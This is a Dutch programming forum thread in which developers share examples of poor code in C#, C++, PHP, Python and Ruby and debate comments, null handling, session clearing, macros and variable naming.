[alg] Slechtste programmeervoorbeelden deel 4

[Marcj]

Woy schreef op dinsdag 07 december 2010 @ 13:26:
Waarom zijn er eigenlijk geen ||= en &&= operators

Ik snap dat er weinig nuttige toepassingen voor zouden zijn

Al zou de volgende constructie nog wel handig zijn

C#:

bool ok;

ok = DoFoo();
ok &&= DoBar();
ok &&= DoOtherBar();
//ipv

bool ok;

ok = DoFoo();
if(ok)
{
  ok = DoBar();
}
if(ok)
{
  ok = DoOtherBar();
}

Waarom maak je DoFoo() niet gewoon void en gooi je een exception als er echt iets misgaat. Een boolean return waarde vind ik niet logisch voor een DoX() functie in een OO-taal.

C#:

try {
  DoFoo();
  DoBar();
  DoOtherBar();
} catch(SomeException ex) {
  // Handle error
}

[ Voor 8% gewijzigd door Marcj op 08-12-2010 10:23 ]

[PiepPiep]

Verwijderd schreef op woensdag 08 december 2010 @ 08:47:
Niet zozeer een slecht programmeer voorbeeld, maar ik vind dit wel een goed voorbeeld van slechte documentatie:

C++:

// Initialize CSV file pointer to NULL
this->csv_file_pointer = NULL;

Gee, really? Ya think?!

En ik moet stiekem toegeven dat 'ie nog van mij is ook

Een argument dat ik laatst hoorde waardoor dit niet eens zo heel slecht is is dat je bij het lezen van deze code niet de code zelf hoeft te lezen maar alleen de paarse regels even snel bekijkt.
Opzich vind ik dit best een aardig argument en dus zet ik zelf ook vaker dit soort regels commentaar erbij.
Voorwaarde is natuurlijk wel dat je het dan leest in een IDE die er mooie kleurtjes van maakt

[Woy]

Marcj schreef op woensdag 08 december 2010 @ 10:22:
[...]


Waarom maak je DoFoo() niet gewoon void en gooi je een exception als er echt iets misgaat. Een boolean return waarde vind ik niet logisch voor een DoX() functie in een OO-taal.

C#:

try {
  DoFoo();
  DoBar();
  DoOtherBar();
} catch(SomeException ex) {
  // Handle error
}

Exceptions moet je natuurlijk alleen bij Exceptionele flow gebruiken. Een bool ( of Result object ) is helemaal niet zo gek, als bij een normale flow een functie ook een negatief resultaat kan hebben.

PiepPiep schreef op woensdag 08 december 2010 @ 10:43:
[...]

Een argument dat ik laatst hoorde waardoor dit niet eens zo heel slecht is is dat je bij het lezen van deze code niet de code zelf hoeft te lezen maar alleen de paarse regels even snel bekijkt.
Opzich vind ik dit best een aardig argument en dus zet ik zelf ook vaker dit soort regels commentaar erbij.
Voorwaarde is natuurlijk wel dat je het dan leest in een IDE die er mooie kleurtjes van maakt

Dan heb je waarschijnlijk al te grote blokken code. Als het goed is zou je uit de methode naam en documentatie die daar bij staat al een goed beeld moeten hebben van wat er gebeurt. Als je er dan verder in de exacte werking wil duiken zul je toch naar de code moeten kijken.

[ Voor 39% gewijzigd door Woy op 08-12-2010 11:06 ]

[Davio]

Ja, maar basale code behoeft geen comment.

Je doet toch ook niet:

C#:

// Zet x op 3
int x = 3;

In het geval van bovenstaande post zou het enigszins nuttig zijn geweest als de comment verklarend was:

C++:

// CSV pointer must be set to null to stop all hell from breaking loose
this->csv_file_pointer = NULL;

[barfieldmv]

PiepPiep schreef op woensdag 08 december 2010 @ 10:43:
[...]

Een argument dat ik laatst hoorde waardoor dit niet eens zo heel slecht is is dat je bij het lezen van deze code niet de code zelf hoeft te lezen maar alleen de paarse regels even snel bekijkt.
Opzich vind ik dit best een aardig argument en dus zet ik zelf ook vaker dit soort regels commentaar erbij.
Voorwaarde is natuurlijk wel dat je het dan leest in een IDE die er mooie kleurtjes van maakt

Het is wel dubbel op (de code is ook weer niet ZO complex).
En er staat ook niet bij waarom het gedaan word.
Waarom moet dat gezet naar null worden, daar is de documentatie voor!

@hierboven I'm slow..

[Woy]

Davio schreef op woensdag 08 december 2010 @ 11:07:
Ja, maar basale code behoeft geen comment.

Je doet toch ook niet:

C#:

// Zet x op 3
int x = 3;

In het geval van bovenstaande post zou het enigszins nuttig zijn geweest als de comment verklarend was:

C++:

// CSV pointer must be set to null to stop all hell from breaking loose
this->csv_file_pointer = NULL;

Maar bij die 2e geef je aan waarom je iets doet ( Alleen niet echt duidelijk ), en niet wat je doet. Het is gewoon onzinnig om bij triviale statements aan te geven wat je doet. Het kan hooguit nuttig zijn om bij een complex statement aan te geven wat je doet, maar dan kun je misschien beter kijken of je het niet op een duidelijkere manier kunt opschrijven.

[jip_86]

15000 regels code in een file

[HuHu]

jip_86 schreef op woensdag 08 december 2010 @ 11:09:
15000 regels code in een file

Dat is toch niet per definitie erg?

[Dido]

jip_86 schreef op woensdag 08 december 2010 @ 11:09:
15000 regels code in een file

Dat zegt niet alles. Ik heb hier 1,4 miljoen regels code in een file.
't Is dan wel een dump van (een deel van) onze codebase, maar toch.

[Caelorum]

dev10 schreef op woensdag 08 december 2010 @ 10:19:
[...]


In Ruby is ||= er wel. In Rails kan het handig zijn om een sessie te starten.

Ruby:

class ApplicationController
  def current_session
    @current_session ||= Session.new
  end
end

Heel simpel. Als current_session leeg is, maak dan een nieuwe sessie aan, anders de sessie returnen.

Dat is toch hetzelfde als null coalescing?

C#:

//als s2 null is, is s1 blaat en anders is s1, s2
string s2;
string s1 = s2 ?? "blaat";

[.Gertjan.]

Caelorum schreef op woensdag 08 december 2010 @ 13:42:
[...]

Dat is toch hetzelfde als null coalescing?

C#:

//als s2 null is, is s1 blaat en anders is s1, s2
string s2;
string s1 = s2 ?? "blaat";

Nee, deze geeft een error. s2 is niet geïnitialiseerd

[boe2]

.Gertjan. schreef op woensdag 08 december 2010 @ 15:19:
[...]


Nee, deze geeft een error. s2 is niet geïnitialiseerd

Werkt wel, dat is juist het hele punt van zijn voorbeeld

[kenneth]

Boeboe schreef op woensdag 08 december 2010 @ 15:38:
[...]


Werkt wel, dat is juist het hele punt van zijn voorbeeld

Error 1 Use of unassigned local variable 's2' D:\WorkingDir\ConsoleApplication1\ConsoleApplication1\Program.cs 25 25 ConsoleApplication1

[.oisyn]

Dan werkt het (de error reporting van de compiler) toch?

[Freeaqingme]

Ach, zo heb ik in een grijs verleden ooit eens iets als dit geschreven:

code:

<?php
// Hier heel veel sql, html en php

// Clear session, just in case unset() turns out to be buggy or something
$session = null;
unset($session);
?>

[FragFrog]

Freeaqingme schreef op woensdag 08 december 2010 @ 17:16:
Ach, zo heb ik in een grijs verleden ooit eens iets als dit geschreven:
[...]

Twee pogingen, allebij fout

[ Voor 29% gewijzigd door FragFrog op 08-12-2010 17:39 ]

[Avalaxy]

FragFrog schreef op woensdag 08 december 2010 @ 17:38:
[...]

Twee pogingen, allebij fout

Nee hoor, session destroy doet wat anders dan het unsetten van de session.

[PrisonerOfPain]

Freeaqingme schreef op woensdag 08 december 2010 @ 17:16:
Ach, zo heb ik in een grijs verleden ooit eens iets als dit geschreven:

Ik hoop niet dat je het daarna nog probeerde te gebruiken...

Do NOT unset the whole $_SESSION with unset($_SESSION) as this will disable the registering of session variables through the $_SESSION superglobal.

Verder is hier session_unset() voor.

[ Voor 4% gewijzigd door PrisonerOfPain op 08-12-2010 17:53 ]

[Avalaxy]

PrisonerOfPain schreef op woensdag 08 december 2010 @ 17:52:
[...]


Verder is hier session_unset() voor.

Die is deprecated.

edit: misschien niet officieel deprecated, maar wordt alleen nog voor oude code gebruikt. Tegenwoordig niet meer doen.

[ Voor 24% gewijzigd door Avalaxy op 08-12-2010 17:55 ]

[Freeaqingme]

Voor de duidelijkheid: tegenwoordig doe ik het echt wel anders hoor . Ging mij er met name om dat ik er serieus rekening mee hield dat iets als unset() bugged kon zijn

[PrisonerOfPain]

Avalaxy schreef op woensdag 08 december 2010 @ 17:54:
[...]


Die is deprecated.

edit: misschien niet officieel deprecated, maar wordt alleen nog voor oude code gebruikt. Tegenwoordig niet meer doen.

Errrr. Waarom in hemelsnaam niet?

[MBV]

jip_86 schreef op woensdag 08 december 2010 @ 11:09:
15000 regels code in een file

Op mijn werk heb ik er drie. Heeft het iets met een menu te maken, of met een kaart?

[Avalaxy]

PrisonerOfPain schreef op woensdag 08 december 2010 @ 18:04:
[...]


Errrr. Waarom in hemelsnaam niet?

Ah, excuses, ik ben in de war met session_unregister, zie http://php.net/manual/en/function.session-unregister.php

Bij session_unset staat alleen als note:

Only use session_unset() for older deprecated code that does not use $_SESSION.

Vandaar dat ik ze door elkaar haalde.

[FragFrog]

PrisonerOfPain schreef op woensdag 08 december 2010 @ 18:04:
Errrr. Waarom in hemelsnaam niet?

Omdat:

Only use session_unset() for older deprecated code that does not use $_SESSION.

(zie session_destroy pagina)

Al moet ik toegeven dat de PHP manual niet overduidelijk is hier

Avalaxy schreef op woensdag 08 december 2010 @ 17:52:
Nee hoor, session destroy doet wat anders dan het unsetten van de session.

En unsetten van de session is weer wat anders dan de sessie variabele null maken. Ik kan me eigenlijk moeilijk voorstellen dat je zoiets uberhaupt wilt doen behalve bij uitloggen van een gebruiker, en dan wil je toch doorgaans session_destroy hebben

[ Voor 42% gewijzigd door FragFrog op 08-12-2010 18:28 ]

[Verwijderd]

FragFrog schreef op woensdag 08 december 2010 @ 18:22:
Al moet ik toegeven dat de PHP manual niet overduidelijk is hier

Daar heeft de manual wel meer last van.

[PrisonerOfPain]

FragFrog schreef op woensdag 08 december 2010 @ 18:22:
[...]

Omdat:

[...]

(zie session_destroy pagina)

Al moet ik toegeven dat de PHP manual niet overduidelijk is hier

Dat lijkt me een documentatie fout in de session_destroy pagina aangezien session_unset gewoon gedocumenteerd gedrag heeft icm $_SESSION aldus de manual van session_unset().

[ Voor 4% gewijzigd door PrisonerOfPain op 08-12-2010 18:28 ]

[jip_86]

MBV schreef op woensdag 08 december 2010 @ 18:11:
[...]

Op mijn werk heb ik er drie. Heeft het iets met een menu te maken, of met een kaart?

Nee iets met een framework zonder documentatie.

[Avalaxy]

FragFrog schreef op woensdag 08 december 2010 @ 18:22:

En unsetten van de session is weer wat anders dan de sessie variabele null maken.

Is dat zo? 'null' betekent toch al 'geen waarde'

[.oisyn]

Ongeveer, maar een variabele die geen waarde heeft is wat anders dan een variabele die niet bestaat.

[Verwijderd]

.oisyn schreef op woensdag 08 december 2010 @ 21:19:
Ongeveer, maar een variabele die geen waarde heeft is wat anders dan een variabele die niet bestaat.

Zie bijvoorbeeld het volgende voorbeeld:

code:

int voorbeeld;
System.out.println(voorbeeld); //Dit gaat niet werken, ook al bestaat de variable wel.

voorbeeld=5;
System.out.println(voorbeeld)//Dit werkt wel

[.oisyn]

Dat is geen goed voorbeeld. Java is een strong typed taal die vereist dat je je variabelen van tevoren declareert en je kan ze niet "ondeclareren" oid. Dit itt talen als javascript en PHP waarin je wel on the fly variabelen aan kunt maken en deze weer kunt verwijderen. Een goed voorbeeld in een strong typed taal zou zijn een dictionary met een entry die naar null wijst, en een entry die er niet in staat.

[FragFrog]

Avalaxy schreef op woensdag 08 december 2010 @ 21:15:
Is dat zo? 'null' betekent toch al 'geen waarde'

De $_SESSION variabele is een van die handige 'speciale' variabelen in PHP. Als je die unset werkt die magische functionaliteit niet meer. Daarom is unset($_SESSION) (of dus ook $_SESSION = null) functioneel niet gelijk aan session_unset(). Just one of the quirks..

[ Voor 3% gewijzigd door FragFrog op 08-12-2010 21:47 ]

[Caelorum]

.Gertjan. schreef op woensdag 08 december 2010 @ 15:19:
[...]
Nee, deze geeft een error. s2 is niet geïnitialiseerd

Woops! Maar is het nou hetzelfde of niet? (als je s2 als null declareert dan)

[.Gertjan.]

Avalaxy schreef op woensdag 08 december 2010 @ 21:15:
[...]


Is dat zo? 'null' betekent toch al 'geen waarde'

Bij null geef je alleen aan dat de variabele nergens naartoe wijst. Het object wat ooit is aangemaakt en waar de variabele naar wees zal niet worden aangepast. Er vanuit gaan dat iets verdwijnt (in de vorm van: door de garbage collector opgeruimt) als je null assignt is best gevaarlijk:

C#:

MyClass object1 = new MyClass();
MyClass object2 = object1;

[....]

object1 = null;

Hier haal je dus alleen de pointer object1 weg (en object2 blijft wijzen naar het object), het aangemaakte object blijft verder leven en zal dus ook niet door de garbage collector worden opgehaald (object2 wijst tenslotte nog naar het object). Pas als object2 ook naar null geset wordt zal de boel gemarkeerd worden als "op te ruimen door de GC".

Ik zie wel eens code die sterkt hangt op de destructor/finalize (om daar bijvoorbeeld pas de DB te sluiten), je kunt in managed talen als C# helaas niet echt invloed uitoefenen op de GC en het opruimen zal dus "willekeurig" gebeuren (en je destructor/finalize dus ook).

Overigens snap ik ook niet waarom ik zoveel mensen binnen talen als C# aan het einde van de functie alle variabelen nog even naar null zie zetten, de functie stopt 2 regels later waardoor de objecten alsnog out of scope raken (uiteraard geldt dit alleen voor variabelen gedeclareerd binnen de scope van de functie).

[Verwijderd]

Daarnaast, als je in C++ dit doet:

C++:

MyClass * object = new MyClass ();

// Voer acties uit

object = NULL;

Zit je met een stuk gebruikt geheugen waarvan je geen idee meer hebt wáár het zit en je daarmee dus gewoon verspilt hebt. Het is een goed idee om altijd dit te doen:

C++:

MyClass * object = new MyClass ();

// Voer acties uit

delete object;
object = NULL;

Hiermee verwijder je ook het gealloceerde geheugen, wat toch altijd wel belangrijk is om in de gaten te houden!

Ik weet alleen niet of het op NULL zetten ook nodig is, of dat delete dat uit zichzelf al doet. Volgens mij niet, en dan kan je nu makkelijk testen of het object is aangemaakt of niet.

[!null]

Ik zou er niet zomaar vanuit gaan dat je delete object; ook de pointer weer op null zet. Weet niet waar het vanaf hangt, maar volgens mij heb ik daar wel eens problemen mee gehad. Checken of een pointer null was ging wel eens fout toen ik een delete deed zonder de pointer zelf op null te zetten.
Maar eigenlijk geen idee wat de bedoeling is binnen C++ en of het nog per compiler verschilt.

[Verwijderd]

Hiermee verwijder je ook het gealloceerde geheugen

Moet je niet te vaak doen... straks is alles op. Geheugen verwijderen.. Moet er niet aan denken

[Soultaker]

Verwijderd schreef op donderdag 09 december 2010 @ 07:53:
Ik weet alleen niet of het op NULL zetten ook nodig is, of dat delete dat uit zichzelf al doet. Volgens mij niet, en dan kan je nu makkelijk testen of het object is aangemaakt of niet.

delete geeft het geheugen vrij, maar zet de pointer niet op 0. Je hoeft 'm ook niet op 0 te zetten, maar om onbedoelde fouten te voorkomen is het geen slechte gewoonte om variabelen die nog lang overleven zelf op 0 te zetten. Dat debugt toch wat makkelijker.

Het zou ook misleidend zijn als delete de pointer wél op 0 zou zetten, omdat er daarnaast nog allerlei andere pointers kunnen zijn die naar hetzelfde object verwijzen. Sowieso is het argument van delete niet per se een lvalue dus dan valt er weinig op 0 te zetten natuurlijk.

!null schreef op donderdag 09 december 2010 @ 08:28:
Maar eigenlijk geen idee wat de bedoeling is binnen C++ en of het nog per compiler verschilt.

Dit gedrag is altijd hetzelfde. Ik had verwacht dat je met jouw username wel alles van null-pointers zou weten.

[HuHu]

Verwijderd schreef op donderdag 09 december 2010 @ 07:53:
Daarnaast, als je in C++ dit doet:

C++:

MyClass * object = new MyClass ();

// Voer acties uit

object = NULL;

Zit je met een stuk gebruikt geheugen waarvan je geen idee meer hebt wáár het zit en je daarmee dus gewoon verspilt hebt. Het is een goed idee om altijd dit te doen:

C++:

MyClass * object = new MyClass ();

// Voer acties uit

delete object;
object = NULL;

Hiermee verwijder je ook het gealloceerde geheugen, wat toch altijd wel belangrijk is om in de gaten te houden!

Ik weet alleen niet of het op NULL zetten ook nodig is, of dat delete dat uit zichzelf al doet. Volgens mij niet, en dan kan je nu makkelijk testen of het object is aangemaakt of niet.

In mijn project hebben we daar het volgende voor:

C++:

  #define ML_CHECK_NEW(var, exp)     (var) = new exp; 
  #define ML_DELETE(var)             if (0 !=(var)){ delete  (var); (var) = 0; }
  #define ML_DELETE_ARRAY(var)       if (0 !=(var)){ delete[](var); (var) = 0; }

In plaats van delete object; gebruiken we dus altijd ML_DELETE(object).

[Soultaker]

Die 0 check is trouwens overbodig he.

En die macro's zijn sowieso een beetje dodgy in constructies als deze:

C++:

if (c) ML_CHECK_NEW(p, int); else iets_anders();

De standaardoplossing daarvoor is om je macro's zo te definiëren:

C++:

#define ML_CHECK_NEW(var, exp)     do { (var) = new exp; } while(0)

[ Voor 79% gewijzigd door Soultaker op 09-12-2010 09:17 ]

[!null]

Soultaker schreef op donderdag 09 december 2010 @ 08:52:
[...]

Dit gedrag is altijd hetzelfde. Ik had verwacht dat je met jouw username wel alles van null-pointers zou weten.

Ja eens, maar ik keegg een tijd terug toen ik dat gelazer had een beetje het idee dat het toch niet altijd zo werkte.

Ik deed dus zoiets (even uit m'n hoofd):

C++:

delete object; 

if(object)
{
    //doe iets
}

En dat ging voor onverklaarbare redenen meestal wel goed. Alleen dus niet altijd, en toen kwam ik erachter dat ik de pointer na het verwijderen niet op herinitialiseerde.

Ik had verwacht dat het gedrag wat deterministischer zou zijn.

[Soultaker]

Het is ook wel deterministisch: als object geen null-pointer was vóór de delete, dan is 'ie dat na de delete ook niet, en wordt de if-clause altijd uitgevoerd.

Ik vermoed dat je je de details verkeerd herinnert.Misschien was object soms om te beginnen al null waardoor de if-clause niet uitgevoerd werd. In ieder geval is het gedrag van delete eenvoudig: die verandert de pointervariabele niet.

[ Voor 18% gewijzigd door Soultaker op 09-12-2010 09:26 ]

[HuHu]

Soultaker schreef op donderdag 09 december 2010 @ 09:13:
Die 0 check is trouwens overbodig he.

De macro's zijn niet van mij, maar volgens mij wordt de 0-check gedaan omdat het niet duidelijk is of een "user-supplied deallocation function" wordt aangeroepen als je een 0-pointer delete. Zie ook hier: http://www.open-std.org/j...docs/cwg_defects.html#348, volgens mij gaat het daar om, maar dat weet ik niet zeker. Wat je nu wel zeker weet is dat delete nooit wordt aangeroepen op een 0-pointer.

En die macro's zijn sowieso een beetje dodgy in constructies als deze:

C++:

if (c) ML_CHECK_NEW(p, int); else iets_anders();

De standaardoplossing daarvoor is om je macro's zo te definiëren:

C++:

#define ML_CHECK_NEW(var, exp)     do { (var) = new exp; } while(0)

Je doelt erop dat je nu twee ; achter elkaar hebt, waardoor de if breekt? Nu is de regel om altijd accolades te gebruiken, ook al is het niet nodig omdat het maar één statement is, en om geen ; achter een macro te zetten, maar je hebt daarin wel gelijk.

[!null]

Soultaker schreef op donderdag 09 december 2010 @ 09:25:
Het is ook wel deterministisch: als object geen null-pointer was vóór de delete, dan is 'ie dat na de delete ook niet, en wordt de if-clause altijd uitgevoerd.

Ik vermoed dat je je de details verkeerd herinnert.Misschien was object soms om te beginnen al null waardoor de if-clause niet uitgevoerd werd. In ieder geval is het gedrag van delete eenvoudig: die verandert de pointervariabele niet.

Nee de boel crasthe omdat hij met een oude pointer aan de gang ging, die ooit naar iets geldigs wees maar allang weer was vrij gegeven d.m.v. delete statement. De pointer werd niet eenmalig ingevuld maar kon ten alle tijde leeg of gevuld zijn, aardig wisselvallig.

Toen ik de fout ontdekte was ik er van verbaasd dat het nog zo vaak goed was gegaan, en dat het maar soms crashte.

Waarschijnlijk was het niet zo recht door zee als ik het nu schets, maar kwam het vanwege de verschillende mogelijke scenario's, de pointer werd in meerdere functies gebruikt, en eventueel gedelete of ingevuld. Nu ik erover na denk was het toch een complexer plaatje.

[.oisyn]

Je doelt erop dat je nu twee ; achter elkaar hebt, waardoor de if breekt?

Nee, de code wordt iets als:

C++:

if (a)
    if (b) { c; };
else
    d;

Die laatste puntkomma op regel 2 hoort daar niet, en dit resulteert in een syntax error (omdat beide ifs zijn afgesloten en de else dus nergens meer bij past). Je moet een macro die lijkt op een functieaanroep nooit laten eindigen in een accolade, maar uiteraard wil je meerdere statements wel kunnen groeperen. De do { } while(0) constructie is de enige juiste, omdat ie een puntkomma vereist na het statement, eentje die je sowieso altijd achter de macro zet.

[ Voor 5% gewijzigd door .oisyn op 09-12-2010 09:47 ]

[Lye]

Nog zo'n leuke:

Python:

def get_char(self):
    if Parser.ch != Parser.current():
        return Parser.ch
    return Parser.current()

Ergste zal nog zijn dat dit zojuist op mn scherm verscheen, vanaf mn eigen toetsenbord..

[.oisyn]

Tja, misschien is Parser.current() niet idempotent

[Lye]

.oisyn schreef op donderdag 09 december 2010 @ 12:31:
Tja, misschien is Parser.current() niet idempotent

Helaas, helaas.. Dat is ie dus wel.

[H!GHGuY]

Lye schreef op donderdag 09 december 2010 @ 13:09:
[...]

Helaas, helaas.. Dat is ie dus wel.

Ik vermoed eerder het volgende:

Python:

def current():
  return ch

[RobIII]

Kwam er vandaag nog 1 tegen:

PHP:

$result = $foo->bar();

throw new Exception($result);

if (strlen($result)>0)
  throw new Exception($result);

//...rest van de code hier

de bar() method geeft een lege string (of null, can't remember exactly) terug als alles goed is en anders een foutmelding (als string). _{En nee, foo noch de bar methode zijn van mijn hand...)}

Somehow heeft dit altijd gewerkt (terwijl die eerste throw d'r waarschijnlijk alleen maar even in heeft gestaan om te voorkomen dat 'ie verder ging dan dat punt; een soort throw new NotImplementedException() of beter: NotCompletelyImplementedExceptionButIWillRemoveThisWhenImDone()

Ik weet niet hoe dit gewerkt kan hebben, maar "rest van de code" werd wel uitgevoerd. Zonet even gekeken; wanneer $result een lege string of null is wordt de exception ook netjes gethrowed maar somehow is 'ie er toch altijd langs gefiets. Zal dinsdag eens moeten kijken hoe dat kan en what the hell dan in $result moet hebben gezeten (of bevestigen dat ik gek word).

[ Voor 4% gewijzigd door RobIII op 11-12-2010 02:56 ]

[roy-t]

... verkeerde topic

[ Voor 109% gewijzigd door roy-t op 11-12-2010 10:00 ]

[g4wx3]

ik wou een array flattenen, en deed dat met foreach, bewustzijnde dat dat wel eens performance problemen kon gaan veroorzaken zocht ik een betere manier.
ik vond deze manier

PHP:

    $objTmp = (object) array('aFlat' => array());
    array_walk_recursive($aNonFlat, create_function('&$v, $k, &$t', '$t->aFlat[] = $v;'), $objTmp);
    var_dump($objTmp->aFlat);

Ik kan er aan uit, maar vind het wel zeer exotisch geschreven, en zou het zelf nooit zo doen. Want vinden jullie ervan, zijn er programmeurs die altijd zo'n compacte/complexe (exotische) code maken?

Wat ik er exotisch aan vind?
1: een array instant typeren als object
2: nog nooit gebruikt: array_walk_recursive, create_function, en references
3: de functie var_dump kende ik niet

BTW: mijn doel, is de inhoud van een map vergelijken met de geregistreerde bestanden in de DB de array die ik wou flattenen was die van de DB request, dan kon ik makkelijk in_array gebruiken
Ik blijf toch liever bij mijn foreach

[ Voor 11% gewijzigd door g4wx3 op 12-12-2010 21:31 ]

[Freeaqingme]

1. Op zich geen ramp. Je kan 't ook schrijven als:
$objTmp = new StdObject();
$objTmp->aFlat = array();

2. met array_walk_recursive() en references is niets mis. Er zijn genoeg talen waarin alles een reference/pointer is. Ik zou anno 2010 geen create_function meer gebruiken. Wat is er op mis om een closure te gebruiken (of iets anders wat in de categorie callback valt maar geen create_function() gebruikt)?
3. Tjah, dat jij dat niet kent kunnen wij niets aan doen Meestal wordt dit gebruikt bij 't debuggen, maar je kan 't natuurlijk ook gewoon gebruiken om iets voor nondebugging purposes te outputten.

zijn er programmeurs die altijd zo'n compacte/complexe (exotische) code maken?

Als het zo uitkomt wil ik best wel eens van dit soort code gebruiken (zeker in views). Zo exotisch vind ik het overigens nog niet. Als je ziet hoe sommige python programmeurs php schrijven...

[FragFrog]

g4wx3 schreef op zondag 12 december 2010 @ 21:26:
3: de functie var_dump kende ik niet

No offense, maar het niet kennen van een van de meest elementaire debugging functies in een taal vind ik eerder een slecht programmeervoorbeeld dan dat ik het exotisch / vreemd vind. Afaik geeft var_dump zelfs nog meer info over objecten dan print_r, afgezien van een echte debugger gebruiken zijn er weinig manieren waarop je betere runtime info kan krijgen

Create_function ben ik geen fan van, heeft bij mij altijd een beetje een eval smaakje, maar is op zich geen ramp. Of het qua performance beter is dan een beetje normaal geschreven foreach betwijfel ik eerlijk gezegd.

[ Voor 13% gewijzigd door FragFrog op 12-12-2010 22:18 ]

[hostname]

g4wx3 schreef op zondag 12 december 2010 @ 21:26:
[...]

1: Het wordt wel is gebruikt om een regel code te besparen, maar verder is het niet heel gebruikelijk nee. Overigens mis ik in dit voorbeeld compleet het nut van een object t.o.v. een normale variable?
2: Dat je een functie niet kent betekent niet meteen dat het exotisch is. array_walk_recursive is gewoon handig en references zijn zelfs een elementair taalelement, die nog best vaak gebruikt worden. create_function is inmiddels al vervangen door closures, maar als je compatible moet zijn met versies van voor 5.3 dan is het zeker wel handig.
3: Zie FragFrog

Overigens zou ik het zo schrijven:

PHP:

$flat = array();
array_walk_recursive($aNonFlat, function (&$value, $key, &$flat) {
   $flat[] = $value;
}, $flat);

En bij het benchmarken loop ik tegen een bug in PHP aan:

PHP:

<?php

$array = array(
   0 => array("hello", "doei", array(6 => "hoi")),
   2 => "doei"
);

$flat = array();
array_walk_recursive($array, function (&$value, $key, &$flat) {
  $flat[] = $value;
}, $flat);

$flat is bij de 4e call van de closure opeens int(2) in plaats van een array... Weird. Oh en je krijgt een segmentation fault als je dit 50000x achter elkaar uitvoert (PHP 5.3.4 btw).

[ Voor 28% gewijzigd door hostname op 12-12-2010 22:50 . Reden: removed quote ]

[jip_86]

zijn er programmeurs die altijd zo'n compacte/complexe (exotische) code maken?

Ik maak vaak wel even een aantekeningetje wat het ook al weer deed
Soms ook niet

[ Voor 49% gewijzigd door jip_86 op 12-12-2010 23:10 . Reden: quote toegevoegd ]

[Haan]

Zelfs als niet-PHPer ken ik de var_dump functie nog
Wat wel echt slecht programmeren is, is het gebruik van variabelen van 1 letter waarvan je de betekenis alleen kunt raden.

[Erkens]

Haan schreef op maandag 13 december 2010 @ 07:56:
Wat wel echt slecht programmeren is, is het gebruik van variabelen van 1 letter waarvan je de betekenis alleen kunt raden.

Niet helemaal mee eens:

PHP:

for ($i=0;$i<10;$i++)
{
    echo $i,"\n";
}

Ook in een foreach (met een korte body) gebruik ik vaak een 1-letterige variabele voor de key-values. Echter zodra je deze loops gaat nesten, of langer dan overzichtelijk gaat maken, dan moet je het zien te voorkomen.

[ibmos2warp]

jip_86 schreef op zondag 12 december 2010 @ 23:08:
[...]

Ik maak vaak wel even een aantekeningetje wat het ook al weer deed
Soms ook niet

En als je die functie kent array_walk_recursive, dan weet je ook gewoon dat de eerste value is, tweede key en derde userdata.

[Haan]

Erkens schreef op maandag 13 december 2010 @ 08:12:
[...]


Niet helemaal mee eens:

PHP:

for ($i=0;$i<10;$i++)
{
    echo $i,"\n";
}

Ook in een foreach (met een korte body) gebruik ik vaak een 1-letterige variabele voor de key-values. Echter zodra je deze loops gaat nesten, of langer dan overzichtelijk gaat maken, dan moet je het zien te voorkomen.

Ik wíst dat die opmerking ging komen
Maar het ging hier niet over een for-loopje. En inderdaad, ook in een for-loop kan het vaak net wat duidelijker zijn om een betere naam dan 'i' te verzinnen. Zelfde geldt voor foreach trouwens (en alle variabelen in het algemeen):

C#:

foreach (var item in collection)
{
    // blaat
}
// vs.
foreach (var person in listOfUsers)
{
    // derp
}

Niet dat ik me er zelf ook altijd aan houd trouwens, soms gaat snelheid voor netheid

[Matis]

Bij een foreach-lus probeer heb ik meestal zoiets als

PHP:

foreach(synapseProducts as synapseProduc)
{
 // blahblahblah
}

De array heeft altijd de meervoudsvorm als naam en de het item erin eigenlijk altijd de enkele vorm.

[Alex)]

Ik gebruik vaak wat ReSharper me voorstelt, en ik gebruik waar mogelijk LINQ i.p.v. een foreach-lusje:

C#:

foreach(var fieldValue in fieldValueCollection)
{
    ...
}

Waarbij R# voor de variabele fieldValue meerdere voorstellen doet voor de naam, waaronder "spFieldValue", "fieldValue" en zelfs "value".

[Erkens]

Matis schreef op maandag 13 december 2010 @ 08:45:
Bij een foreach-lus probeer heb ik meestal zoiets als

PHP:

foreach(synapseProducts as synapseProduc)
{
 // blahblahblah
}

De array heeft altijd de meervoudsvorm als naam en de het item erin eigenlijk altijd de enkele vorm.

Wat dus ook vaak verwarrend kane werken omdat het verschil tussen die twee variabelen slechts 1 letter is die aan het eind staat "s". Nee dan kies ik liever een andere benaming.

[ikkiewikkie]

mag je wel hopen, anders kun je dat stukje 'beveiliging' net zo goed weghalen

[Haan]

ikkiewikkie schreef op maandag 13 december 2010 @ 09:43:
mag je wel hopen, anders kun je dat stukje 'beveiliging' net zo goed weghalen

waar reageer jij nou op

[418O2]

Matis schreef op maandag 13 december 2010 @ 08:45:
Bij een foreach-lus probeer heb ik meestal zoiets als

PHP:

foreach(synapseProducts as synapseProduc)
{
 // blahblahblah
}

De array heeft altijd de meervoudsvorm als naam en de het item erin eigenlijk altijd de enkele vorm.

Dit brengt mij op 1 van mijn grootste ergenissen: collega's die typfouten maken in variabelen en dat niet herstellen. Ik haat dat echt. Hoe moeilijk kan het zijn. Vooral met de huidige IDE's.

[CodeCaster]

Erkens schreef op maandag 13 december 2010 @ 09:17:
[...]

Wat dus ook vaak verwarrend kane werken omdat het verschil tussen die twee variabelen slechts 1 letter is die aan het eind staat "s". Nee dan kies ik liever een andere benaming.

Twee, de 't' mist ook.

Maar inderdaad, in mijn ogen niks mis met:

C#:

foreach(var u in _users)
{
  u.Foo = bar;
}

---

Mijn WTF van de dag:

C#:

        // wachtwoord vergeten
        protected void lbWachtwoord_Click(object sender, System.EventArgs e)
        {
            System.Configuration.AppSettingsReader _ASRLoginUrl = new System.Configuration.AppSettingsReader();
            string loginUrl = (string)_ASRLoginUrl.GetValue("MainUrl", typeof(string));

            Response.Redirect(loginUrl + "wachtwoordvergeten.aspx");
        }

Een naming convention die nergens op slaat (lokale variabele beginnen met underscore? Iets met klok en klepel), überhaupt een referentie in een variabele stoppen voor iets wat je eenmalig gebruikt (doe dan gewoon loginUrl = new AppsettinsReader().GetValue() ), willen redirecten met de volledige URI inclusief hostname (wat is er gebeurd met Response.Redirect("/wachtwoordvergeten.aspx")? ), en sowieso, ASP.NET

In plaats van '<a href="/wachtwoordvergeten.aspx" class="linkButton">Wachtwoord vergeten</a>', zoals ik zo lekker clean van diverse PHP-frameworks gewend was, wordt er een hele sloot html en js uitgepoept waardoor simpele dingen als navigatieknoppen niet eens gegarandeerd cross-browser werken, laat staan wanneer JS uitgeschakeld is...

